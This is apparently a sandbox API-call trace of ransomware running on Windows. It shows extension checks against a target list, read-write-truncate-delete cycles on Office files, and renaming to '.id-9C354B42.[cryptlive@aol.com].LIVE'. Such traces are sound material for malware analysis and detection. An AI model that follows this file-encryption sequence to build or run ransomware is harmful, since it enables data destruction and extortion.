[0151.956] lstrlenW (lpString=".doc") returned 4 [0151.956] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0151.956] lstrlenW (lpString=".docx") returned 5 [0151.956] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0151.956] lstrlenW (lpString=".pdf") returned 4 [0151.956] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0151.956] lstrlenW (lpString=".xls") returned 4 [0151.956] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0151.956] lstrlenW (lpString=".xlsx") returned 5 [0151.956] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0151.956] lstrlenW (lpString=".ppt") returned 4 [0151.956] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0151.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString=".zip") returned 4 [0151.957] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0151.957] lstrlenW (lpString=".rar") returned 4 [0151.957] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString=".bz2") returned 4 [0151.957] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString=".7z") returned 3 [0151.957] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0151.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString=".dbf") returned 4 [0151.957] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString=".1cd") returned 4 [0151.957] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString=".jpg") returned 4 [0151.957] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString=".doc") returned 4 [0151.957] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString=".docx") returned 5 [0151.957] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0151.957] lstrlenW (lpString=".pdf") returned 4 [0151.957] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString=".xls") returned 4 [0151.957] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0151.957] lstrlenW (lpString=".xlsx") returned 5 [0151.957] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0151.957] lstrlenW (lpString=".ppt") returned 4 [0151.957] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0151.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.957] lstrlenW (lpString=".zip") returned 4 [0151.958] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0151.958] lstrlenW (lpString=".rar") returned 4 [0151.958] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0151.958] lstrlenW (lpString=".bz2") returned 4 [0151.958] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0151.958] lstrlenW (lpString=".7z") returned 3 [0151.958] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0151.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.958] lstrlenW (lpString=".dbf") returned 4 [0151.958] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0151.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.958] lstrlenW (lpString=".1cd") returned 4 [0151.958] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0151.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0151.958] lstrlenW (lpString=".jpg") returned 4 [0151.958] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0151.958] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.958] lstrlenW (lpString="LOCALDV.DLL") returned 11 [0151.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.959] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=37248) returned 1 [0151.959] CloseHandle (hObject=0x3a0) returned 1 [0151.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll")) returned 0x20 [0151.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.959] lstrlenW (lpString=".doc") returned 4 [0151.960] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString=".docx") returned 5 [0151.960] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0151.960] lstrlenW (lpString=".pdf") returned 4 [0151.960] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString=".xls") returned 4 [0151.960] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString=".xlsx") returned 5 [0151.960] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0151.960] lstrlenW (lpString=".ppt") returned 4 [0151.960] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.960] lstrlenW (lpString=".zip") returned 4 [0151.960] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString=".rar") returned 4 [0151.960] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString=".bz2") returned 4 [0151.960] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.960] lstrlenW (lpString=".7z") returned 3 [0151.960] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.960] lstrlenW (lpString=".dbf") returned 4 [0151.960] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.960] lstrlenW (lpString=".1cd") returned 4 [0151.960] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.960] lstrlenW (lpString=".jpg") returned 4 [0151.960] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.960] lstrlenW (lpString=".doc") returned 4 [0151.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.961] lstrlenW (lpString=".docx") returned 5 [0151.961] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0151.961] lstrlenW (lpString=".pdf") returned 4 [0151.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.961] lstrlenW (lpString=".xls") returned 4 [0151.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.961] lstrlenW (lpString=".xlsx") returned 5 [0151.961] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0151.961] lstrlenW (lpString=".ppt") returned 4 [0151.961] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.961] lstrlenW (lpString=".zip") returned 4 [0151.961] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.961] lstrlenW (lpString=".rar") returned 4 [0151.961] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.961] lstrlenW (lpString=".bz2") returned 4 [0151.961] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.961] lstrlenW (lpString=".7z") returned 3 [0151.961] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.961] lstrlenW (lpString=".dbf") returned 4 [0151.961] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.961] lstrlenW (lpString=".1cd") returned 4 [0151.961] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0151.961] lstrlenW (lpString=".jpg") returned 4 [0151.961] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.961] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0151.962] lstrlenW (lpString="ODBCR.SAM") returned 9 [0151.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.963] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=11664) returned 1 [0151.963] CloseHandle (hObject=0x3a0) returned 1 [0151.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 0x20 [0151.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.963] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.963] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.967] GetLastError () returned 0x0 [0151.967] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x2d90, lpOverlapped=0x0) returned 1 [0152.028] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2da0, lpOverlapped=0x0) returned 1 [0152.029] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.029] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0152.029] SetEndOfFile (hFile=0x1dc) returned 1 [0152.030] CloseHandle (hObject=0x1dc) returned 1 [0152.030] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.030] SetEndOfFile (hFile=0x3a0) returned 1 [0152.035] CloseHandle (hObject=0x3a0) returned 1 [0152.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 1 [0152.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString=".doc") returned 4 [0152.584] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString=".docx") returned 5 [0152.584] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.584] lstrlenW (lpString=".pdf") returned 4 [0152.584] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString=".xls") returned 4 [0152.584] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.584] lstrlenW (lpString=".xlsx") returned 5 [0152.584] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.584] lstrlenW (lpString=".ppt") returned 4 [0152.584] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString=".zip") returned 4 [0152.584] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.584] lstrlenW (lpString=".rar") returned 4 [0152.584] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString=".bz2") returned 4 [0152.584] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString=".7z") returned 3 [0152.584] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString=".dbf") returned 4 [0152.584] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString=".1cd") returned 4 [0152.584] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString=".jpg") returned 4 [0152.584] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.584] lstrlenW (lpString=".doc") returned 4 [0152.585] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString=".docx") returned 5 [0152.585] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.585] lstrlenW (lpString=".pdf") returned 4 [0152.585] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString=".xls") returned 4 [0152.585] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.585] lstrlenW (lpString=".xlsx") returned 5 [0152.585] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.585] lstrlenW (lpString=".ppt") returned 4 [0152.585] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.585] lstrlenW (lpString=".zip") returned 4 [0152.585] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.585] lstrlenW (lpString=".rar") returned 4 [0152.585] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString=".bz2") returned 4 [0152.585] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString=".7z") returned 3 [0152.585] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.585] lstrlenW (lpString=".dbf") returned 4 [0152.585] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.585] lstrlenW (lpString=".1cd") returned 4 [0152.585] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0152.585] lstrlenW (lpString=".jpg") returned 4 [0152.585] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.585] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.586] lstrlenW (lpString="OLJRNLR.FAE") returned 11 [0152.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0152.586] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10160) returned 1 [0152.586] CloseHandle (hObject=0x1b4) returned 1 [0152.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 0x20 [0152.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0152.587] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.587] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0152.587] GetLastError () returned 0x0 [0152.587] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0152.630] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0152.631] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.631] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0152.631] SetEndOfFile (hFile=0x3b8) returned 1 [0152.631] CloseHandle (hObject=0x3b8) returned 1 [0152.631] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.631] SetEndOfFile (hFile=0x1b4) returned 1 [0152.633] CloseHandle (hObject=0x1b4) returned 1 [0152.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 1 [0152.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.652] lstrlenW (lpString=".doc") returned 4 [0152.652] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.652] lstrlenW (lpString=".docx") returned 5 [0152.652] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.652] lstrlenW (lpString=".pdf") returned 4 [0152.652] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.652] lstrlenW (lpString=".xls") returned 4 [0152.652] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.652] lstrlenW (lpString=".xlsx") returned 5 [0152.652] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.652] lstrlenW (lpString=".ppt") returned 4 [0152.652] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.652] lstrlenW (lpString=".zip") returned 4 [0152.652] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.652] lstrlenW (lpString=".rar") returned 4 [0152.652] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.652] lstrlenW (lpString=".bz2") returned 4 [0152.652] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.652] lstrlenW (lpString=".7z") returned 3 [0152.652] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.652] lstrlenW (lpString=".dbf") returned 4 [0152.652] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.652] lstrlenW (lpString=".1cd") returned 4 [0152.652] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.652] lstrlenW (lpString=".jpg") returned 4 [0152.653] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.653] lstrlenW (lpString=".doc") returned 4 [0152.653] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.653] lstrlenW (lpString=".docx") returned 5 [0152.653] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.653] lstrlenW (lpString=".pdf") returned 4 [0152.653] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.653] lstrlenW (lpString=".xls") returned 4 [0152.653] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.653] lstrlenW (lpString=".xlsx") returned 5 [0152.653] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.653] lstrlenW (lpString=".ppt") returned 4 [0152.653] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.653] lstrlenW (lpString=".zip") returned 4 [0152.653] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 